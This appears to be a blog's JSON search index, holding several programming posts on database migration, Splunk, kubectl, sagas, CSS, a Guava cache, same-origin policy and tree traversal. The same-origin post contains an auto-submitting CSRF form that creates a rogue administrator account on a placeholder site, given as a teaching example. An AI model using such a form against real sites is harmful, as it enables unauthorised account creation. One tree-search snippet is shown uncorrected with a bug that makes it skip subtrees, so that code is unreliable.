4000 records/batch to speed up the insertions.\nHere, the bootstrap kafka topics must be first completely consumed and written to target database before starting with ChangeFeed kafka topics.\nAs the change feed kafka topics lag becomes closer to zero (it will never be zero, since data is always being written to change feed topics), the databases are considered active active.\nFew notes about Kafka:\nUse Kafka partitions to scale up bootstrap and consumption process horizontally. The partition key can be primary key of the table. This is especially important in change feed topics where multiple records will exist for same row.\nThe consumer application must handle errors gracefully. If there is an error during the batch writes, the entire batch might fail.\nUse the blue green deployment methodology\nIn our case, it took almost 4 hrs to complete the migration including bootstrap and change feed process for around 3 million rows in couple of tables and fewer records in other tables.\n","permalink":"https://madhur.co.in/blog/2021/06/05/migrating-from-sql-nosql.html","summary":"\u003cp\u003eRecently, we migrated a large MySQL database containing GB\u0026rsquo;s of data, millions of rows in few tables to CosmosDB.\u003c/p\u003e\n\u003cp\u003eThis was done without downtime. I want to lay down the approach we took in this post.\u003c/p\u003e\n\u003cp\u003eOur intention was to setup both the database active - active and incrementally shift the traffic point to Service v1 (which was reading/writing to MySQL) towards\nService v2 (which was reading/writing to CosmosDB)\u003c/p\u003e\n\u003cp\u003eThe first challenge was doing the initial data migration (called as bootstrap) and then set up a replication pipeline (called as change feed) so that any updates/inserts/deletes\nhappening on live MySQL DB are replicated to CosmosDB asynchronously.\u003c/p\u003e","title":"Migrating from SQL to No-SQL without downtime"},{"content":"Many organizations aggregate their logs on Splunk, which is a popular product for data ingestion and building intelligence on top of it.\nI too have been playing with data hosted on Splunk in last few weeks. Recently, I encountered a problem, where-in the data needs to be extracted based on some specified condition within a JSON array.\nFor example, the splunk record was as follows:\n{ \u0026#34;name\u0026#34;: \u0026#34;Test Name\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;ac646022-fa55-4e04-9856-a25a41b30014\u0026#34;, \u0026#34;phases\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;query.slots\u0026#34;, \u0026#34;elapsedTime\u0026#34;: 2000.0 }, { \u0026#34;name\u0026#34;: \u0026#34;viewPage\u0026#34;, \u0026#34;elapsedTime\u0026#34;: 565.0 } ] } The requriement was to retrieve all the recods which has the phase query.slots and elapsedTime is greater than some specified value, for example 1000 ms.\nThe query required unearthing some commands which I was unfamiliar with:\nmvexpand mvzip Here is the final query\n\u0026#34;phases{}.name\u0026#34;=\u0026#34;query.slots\u0026#34; | rename phases{}.elapsedTime as eTime, phases{}.name as name | eval temp=mvzip(eTime,name) | mvexpand temp | eval eTimeParsed=mvindex(split(temp,\u0026#34;,\u0026#34;),0),nameParsed=mvindex(split(temp,\u0026#34;,\u0026#34;),1) | search nameParsed=\u0026#34;query.slots\u0026#34; eTimeParsed \u0026gt; 2000 | table nameParsed, eTimeParsed ","permalink":"https://madhur.co.in/blog/2021/05/30/fun-with-splunk.html","summary":"\u003cp\u003eMany organizations aggregate their logs on \u003ca href=\"https://www.splunk.com/en_us/software.html\"\u003eSplunk\u003c/a\u003e, which is a popular product for data ingestion and building intelligence on top of it.\u003c/p\u003e\n\u003cp\u003eI too have been playing with data hosted on Splunk in last few weeks. Recently, I encountered a problem, where-in the data needs to be extracted based on some specified condition within a JSON array.\u003c/p\u003e\n\u003cp\u003eFor example, the splunk record was as follows:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Test Name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026#34;id\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;ac646022-fa55-4e04-9856-a25a41b30014\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026#34;phases\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;query.slots\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nt\"\u003e\u0026#34;elapsedTime\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mf\"\u003e2000.0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;viewPage\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nt\"\u003e\u0026#34;elapsedTime\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mf\"\u003e565.0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe requriement was to retrieve all the recods which has the phase \u003ccode\u003equery.slots\u003c/code\u003e and \u003ccode\u003eelapsedTime\u003c/code\u003e is greater than some specified value, for example 1000 ms.\u003c/p\u003e","title":"Fun with Splunk"},{"content":"Here are a few useful kubernetes commands:\nLogin into the one of the pod\u0026rsquo;s shell kubectl exec --stdin --tty \u0026lt;\u0026lt;pod\u0026gt;\u0026gt; -- /bin/bash View services from all namespaces kubectl get service --all-namespaces Change the current namespace context kubectl config set-context --current --namespace = \u0026lt;\u0026lt;namespace\u0026gt;\u0026gt; Describe a pod kubectl describe \u0026lt;\u0026lt;pod\u0026gt;\u0026gt; ","permalink":"https://madhur.co.in/blog/2021/05/22/few-useful-kubectl-commands.html","summary":"\u003cp\u003eHere are a few useful kubernetes commands:\u003c/p\u003e\n\u003ch2 id=\"login-into-the-one-of-the-pods-shell\"\u003eLogin into the one of the pod\u0026rsquo;s shell\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ekubectl exec --stdin --tty \u0026lt;\u0026lt;pod\u0026gt;\u0026gt; -- /bin/bash\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"view-services-from-all-namespaces\"\u003eView services from all namespaces\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ekubectl get service --all-namespaces\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"change-the-current-namespace-context\"\u003eChange the current namespace context\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ekubectl config set-context --current --namespace = \u0026lt;\u0026lt;namespace\u0026gt;\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"describe-a-pod\"\u003eDescribe a pod\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ekubectl describe \u0026lt;\u0026lt;pod\u0026gt;\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e","title":"Few Useful Kubectl commands"},{"content":"Distributed transactions rollback are a tough beast. There are many patterns to solve this such as:\nTwo-phase commit Saga pattern In this post, we will look at one of the example of a problem and how to solve it using the Saga pattern.\nLet\u0026rsquo;s say, we are an e-commerce platform and building a backend service for taking and submitting orders.\nA typical flow would like this:\nNow, Just assume, what would happen if an intermittent database failure is to happen during operation no. 8, i.e. while updating the order details to database. We have already captured the payment from user\u0026rsquo;s card. If the user retries the failed operation, we will end up double charging the user. Even if the user doesn\u0026rsquo;t retries, we have charged the user and because of unsuccessful DB operation, the order most probably won\u0026rsquo;t be fulfilled because the details are not captured itself.\nThis can be handled as follows:\nIn the modified flow above, what we are doing is after detecting the database failure, we are calling the payment service and canelling the charge, whatever was made before the failure. This way, even though, the overall operation failed, we havn\u0026rsquo;t charged the user extra money.\nThings become interesting, when you see what would happen if operation no. 10 also fails. We are in same problem again. We have failed to return the money to user card probably because payment gateway was down, or there was a service timeout etc.\nIn this case, there are two approaches to solve it:\nTry to record this failed update status in DB and let a job scheduler pickup these kinds of records and do a refund to user. The FE error should indicate to the user that There was an error while submitting order. If you are charged, you will be refunded in few minutes. The problem with this approach is that since the database was unavailable intermittently, this database status update also is going to result in a failure in most probability.\nThe other solution is to drop a message after operation 10 into a kafka queue, where this message would be picked up by a consumer and would try to retry operation 10 after some delay. If the operation succeeds, the asynchronous notification to be sent to the user that the money has been refunded. One of the other solution is to make the operation 10. itself asynchronous. i.e. instead of the waiting for the response, the request will be queued by PaymentService and executed later. However, in this case, the user will always needs to be shown the message There was an error while submitting order. If you are charged, you will be refunded in few minutes. ","permalink":"https://madhur.co.in/blog/2021/05/16/handling-distributed-transactions-rollback.html","summary":"\u003cp\u003eDistributed transactions rollback are a tough beast. There are many patterns to solve this such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Two-phase_commit_protocol\"\u003eTwo-phase commit\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://microservices.io/patterns/data/saga.html\"\u003eSaga pattern\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIn this post, we will look at one of the example of a problem and how to solve it using the Saga pattern.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s say, we are an e-commerce platform and building a backend service for taking and submitting orders.\u003c/p\u003e\n\u003cp\u003eA typical flow would like this:\u003c/p\u003e\n\u003cimg src='/images/Blog/orderflow1.png'  /\u003e\n\u003cp\u003eNow, Just assume, what would happen if an intermittent database failure is to happen during operation no. 8, i.e. while updating the order details to database. We have already captured the payment from user\u0026rsquo;s card. If the user retries the failed operation, we will end up double charging the user. Even if the user doesn\u0026rsquo;t retries, we have charged the user and because of unsuccessful DB operation, the order most probably won\u0026rsquo;t be fulfilled because the details are not captured itself.\u003c/p\u003e","title":"Handling Distributed transactions rollback"},{"content":"Many a times, when we want to display multiple images of various aspect ratios and pixel sizes in a gallery.\nIn that case, there will be a single height and width of the card for the container, however the images will be of multiple sizes.\nThis can result in whitespace around the container as follows:\nOne of the ways to solve it is to add the blur around the image.\nThis is how it can be done using the ::after and ::before CSS techniques.\nThis is the end result\nHere is code snippet for same:\n\u0026lt;style\u0026gt; .card-crop:before, .card-crop::after { content: \u0026#34; \u0026#34;; background-image: inherit; background-position: center !important; background-repeat: no-repeat !important; height: inherit; width: inherit; } .card-crop::before { background-size: cover !important; opacity: 0.6; filter: blur(8px); } .card-crop::after { background-size: contain !important; background-origin: content-box; padding: 5px; } .inline-block, .inline-block:before, .inline-block:after { display: inline-block; height: 225px; left: 0; right: 0; top: 0; bottom: 0; } .card-crop { background-color: #ffffff; border-bottom: 1px solid #efefef; border-bottom: 1px solid #efefef; background-position: -1px -1px; background-size: 1px; } .inline-block:after { position: absolute; } \u0026lt;/style\u0026gt; \u0026lt;div class=\u0026#34;card-crop inline-block\u0026#34; style=\u0026#34;background-image: url(\u0026#39;/images/Blog/car.jpg\u0026#39;); height: 225px; width: 300px; display: flex; flex-direction: column; position:relative\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; ","permalink":"https://madhur.co.in/blog/2021/05/09/removing-empty-space-around-image-using-blur-css.html","summary":"\u003cp\u003eMany a times, when we want to display multiple images of various aspect ratios and pixel sizes in a gallery.\u003c/p\u003e\n\u003cp\u003eIn that case, there will be a single height and width of the card for the container, however the images will be of multiple sizes.\u003c/p\u003e\n\u003cp\u003eThis can result in whitespace around the container as follows:\u003c/p\u003e\n\u003cimg src='/images/Blog/white-space.png'  /\u003e\n\u003cp\u003eOne of the ways to solve it is to add the blur around the image.\u003c/p\u003e","title":"Removing the empty space around image using blur technique in CSS"},{"content":"Some of the better useful open source Angular libraries\nNgSelect NgxCharts Ng Bootstrap ","permalink":"https://madhur.co.in/blog/2021/05/02/useful-angular-libraries.html","summary":"\u003cp\u003eSome of the better useful open source Angular libraries\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://ng-select.github.io/ng-select/\"\u003eNgSelect\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://swimlane.github.io/ngx-charts/#/ngx-charts/bar-vertical\"\u003eNgxCharts\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://ng-bootstrap.github.io/#/home\"\u003eNg Bootstrap\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"Useful Angular libraries"},{"content":"We were working on a proof of concept and for that I quickly needed a HashMap with a Time to Live (TTL). Basically, I wanted the keys to expire automatically after a certain time period.\nFortunatly, Google Guava provides this out of the box in form of LoadingCache\nHere is how you would initialize it,\nprivate LoadingCache\u0026lt;String, String\u0026gt; cache = CacheBuilder.newBuilder() .maximumSize(Integer.MAX_VALUE) .expireAfterWrite(5, TimeUnit.MINUTES) .build(new CacheLoader\u0026lt;String, String\u0026gt;() { @Override public String load(final String response) throws Exception { return response; } }); You can specify the maximum size of cache, after which the entries will be automatically evicted according to Least Recently Used (LRU) algorithm.\nThe TTL can be specified using expireAfterWrite method.\nNote that when using this implementation, do not rely on the size() property of the map since that might contain the expired entries as well. However, they will not be retrievable using the get method.\nThe expired entires are removed after a certain time duration using a routine maintainence job.\n","permalink":"https://madhur.co.in/blog/2021/02/27/hashmap-with-ttl.html","summary":"\u003cp\u003eWe were working on a proof of concept and for that I quickly needed a HashMap with a Time to Live (TTL). Basically, I wanted the keys to expire automatically after a certain time period.\u003c/p\u003e\n\u003cp\u003eFortunatly, \u003ca href=\"https://github.com/google/guava\"\u003eGoogle Guava\u003c/a\u003e provides this out of the box in form of \u003ca href=\"https://guava.dev/releases/19.0/api/docs/com/google/common/cache/LoadingCache.html\"\u003eLoadingCache\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHere is how you would initialize it,\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLoadingCache\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecache\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCacheBuilder\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003enewBuilder\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003emaximumSize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eInteger\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eMAX_VALUE\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eexpireAfterWrite\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTimeUnit\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eMINUTES\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCacheLoader\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"nd\"\u003e@Override\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eload\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003efinal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eException\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                    \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eYou can specify the maximum size of cache, after which the entries will be automatically evicted according to Least Recently Used (LRU) algorithm.\u003c/p\u003e","title":"HashMap with TTL"},{"content":"I have been recently focused a lot on Web application security especially web vulnerabilities such as Cross Site Scripting (XSS) and Cross Site Request Forgery (CSRF)\nOne of the interesting protection mechanism around these attacks is Same Origin Policy which I believe every application developer should understand in deep.\nSo what is cross origin policy? Reference: Mozilla docs\nWhen a browser loads the web page, the web page elements might refer to other origins (basically the combination of protocol, host and port). These elements can be CSS links \u0026lt;link href\u0026gt;, JS links \u0026lt;script src\u0026gt;, \u0026lt;img\u0026gt; tags,\nWhat is not covered under same origin policy? This is most important. Its very important for developers to understand what is excluded under same origin policy because that\u0026rsquo;s where the web application becomes vulnerable.\ncross domain form posting is perfectly acceptable in web application. i.e. a form loaded at http://localhost:8080 , can execute the following code without any issues: \u0026lt;html\u0026gt; \u0026lt;body onload=\u0026#39;document.getElementById(\u0026#34;csrfform\u0026#34;).submit()\u0026#39;\u0026gt; \u0026lt;form method=\u0026#39;post\u0026#39; id=\u0026#39;csrfform\u0026#39; action=\u0026#39;http://somesite.com/ve/admin/users/add\u0026#39;\u0026gt; \u0026lt;input type=\u0026#39;hidden\u0026#39; name=\u0026#39;token\u0026#39; value =\u0026#39;\u0026#39;/\u0026gt; \u0026lt;input type=\u0026#39;hidden\u0026#39; name=\u0026#39;real_name\u0026#39; value =\u0026#39;attacker\u0026#39;/\u0026gt; \u0026lt;input type=\u0026#39;hidden\u0026#39; name=\u0026#39;bio\u0026#39; value =\u0026#39;test\u0026#39;/\u0026gt; \u0026lt;input type=\u0026#39;hidden\u0026#39; name=\u0026#39;status\u0026#39; value =\u0026#39;active\u0026#39;/\u0026gt; \u0026lt;input type=\u0026#39;hidden\u0026#39; name=\u0026#39;role\u0026#39; value =\u0026#39;administrator\u0026#39;/\u0026gt; \u0026lt;input type=\u0026#39;hidden\u0026#39; name=\u0026#39;username\u0026#39; value =\u0026#39;evilattacker2\u0026#39;/\u0026gt; \u0026lt;input type=\u0026#39;hidden\u0026#39; name=\u0026#39;password\u0026#39; value =\u0026#39;pwnd1111\u0026#39;/\u0026gt; \u0026lt;input type=\u0026#39;hidden\u0026#39; name=\u0026#39;email\u0026#39; value =\u0026#39;ahuja.madhur@gmail.com\u0026#39;/\u0026gt; \u0026lt;input type=\u0026#39;submit\u0026#39; value =\u0026#39;submit\u0026#39;/\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; The above is a classic case of CSRF attack where a forged page is tricking the user to submit a request to other site without his knowledge. If the user is already logged onto http://somesite.com , the browser would also automatically include the cookies appropriate for http://somesite.com to automatically authenticate the request.\nThe script tags do not come under same origin policy. i.e. it is perfectly legal for a site at http://somesite.com to have the following script tag in its html \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script src=\u0026#34;http://somesite.com/somejs.com\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;html\u0026gt; The \u0026lt;img\u0026gt; tag is allowed to retrieve images from the cross origin. This might seem very innocuous but there have been some attacks because of this.\nJust like images, in iframe the contents may be loaded but scripts in the outer framing page are not allowed to access the framed page contents.\nWeb Storage, IndexedDB and LocalStorage Each origin gets its own dedicated Web Storage, IndexedDb and LocalStorage. The site in one origin cannot access the storage data of other origin. For example, the site running at http://localhost:8081 cannot access the localstorage of http://localhost:8082\nHow to circumvent Same origin policy? The Cross origin request sharing (CORS) specification permits the cross origin sharing under special circumstances.\nProtections against these attacks The protection against these attacks is really a big topic. But primarily two headers are helpful:\ncontent-security-policy X-XSS-Protection ","permalink":"https://madhur.co.in/blog/2021/02/20/same-origin-policy-and-cors.html","summary":"\u003cp\u003eI have been recently focused a lot on Web application security especially web vulnerabilities such as \u003ca href=\"\"\u003eCross Site Scripting (XSS)\u003c/a\u003e and \u003ca href=\"\"\u003eCross Site Request Forgery (CSRF)\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eOne of the interesting protection mechanism around these attacks is \u003ca href=\"\"\u003eSame Origin Policy\u003c/a\u003e which I believe every application developer should understand in deep.\u003c/p\u003e\n\u003ch3 id=\"so-what-is-cross-origin-policy\"\u003eSo what is cross origin policy?\u003c/h3\u003e\n\u003cp\u003eReference: \u003ca href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy\"\u003eMozilla docs\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eWhen a browser loads the web page, the web page elements might refer to other origins (basically the combination of protocol, host and port). These elements can be CSS links \u003ccode\u003e\u0026lt;link href\u0026gt;\u003c/code\u003e, JS links \u003ccode\u003e\u0026lt;script src\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e tags,\u003c/p\u003e","title":"Same origin policy and CORS"},{"content":"We all know standard way of traversing trees such as\nInOrder PostOrder PreOrder However, its good to know some other ways of traversing trees as well.\nprivate boolean findNode(TreeNode node, TreeNode n, List\u0026lt;TreeNode\u0026gt; path) { path.add(node); if (node.val == n.val) { return true; } if (node.left != null) { return findNode(node.left, n, path); } if (node.right != null) { return findNode(node.right, n, path); } path.remove(path.size() - 1); return false; } private boolean findNode(TreeNode node, TreeNode n, List\u0026lt;TreeNode\u0026gt; path) { path.add(node); if (node.val == n.val) { return true; } if (node.left != null \u0026amp;\u0026amp; findNode(node.left, n path)) { return true; } if (node.right != null \u0026amp;\u0026amp; findNode(node.right, n, path)) { return true; } path.remove(path.size() - 1); return false; } ","permalink":"https://madhur.co.in/blog/2021/02/10/ways-of-traversing-tree.html","summary":"\u003cp\u003eWe all know standard way of traversing trees such as\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eInOrder\u003c/li\u003e\n\u003cli\u003ePostOrder\u003c/li\u003e\n\u003cli\u003ePreOrder\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHowever, its good to know some other ways of traversing trees as well.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003efindNode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTreeNode\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTreeNode\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e 